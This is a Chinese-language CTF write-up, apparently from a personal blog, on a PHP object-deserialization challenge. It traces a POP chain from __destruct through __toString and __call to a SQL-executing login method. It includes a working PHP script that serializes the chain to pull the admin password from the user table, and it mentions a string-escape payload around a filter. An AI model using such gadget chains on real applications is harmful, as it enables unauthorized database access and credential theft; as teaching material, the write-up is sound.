基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路
https://www.cnblogs.com/tiaopidejun/p/12345080.html
这道题自己搞一下:
主要是构造pop链,
大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。
开始:
先是发现
跟进getNewInfo
发现update调用,继续跟进UpdateHelper
发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString
找一下有没有__toString
但是这个没有什么利用点
但我们发现有个call可以被我们利用
而且info里面并没有update方法,我们可以想办法触发这个call
如果User里的nickname实例化一个info对象,去调用并不存在的update方法,那么就会触发call
然后调用login方法,login里可以执行sql语句,这就是利用点
那我们可以构造pop链去调用info里的__call
构造pop链:
如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
<?php class User { public $id; public $age=null; public $nickname=null; } class Info { public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname) { $this->age=$age; $this->nickname=$nickname; } } class UpdateHelper { public $id; public $newinfo; public $sql; } class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="root"; public $dbpass="root"; public $database="test"; public $name='admin'; public $password; public $mysqli; public $token='admin'; } $d = new dbCtrl(); $d->token='admin'; $b = new Info('','1'); $b->CtrlCase=$d; $a = new user(); $a->nickname=$b; $a->age="select password,id from user where username=?"; $c=new UpdateHelper(); $c->sql=$a; echo serialize($c) ?>
最后根据safe那个函数的规格,再构造出逃逸字符的payload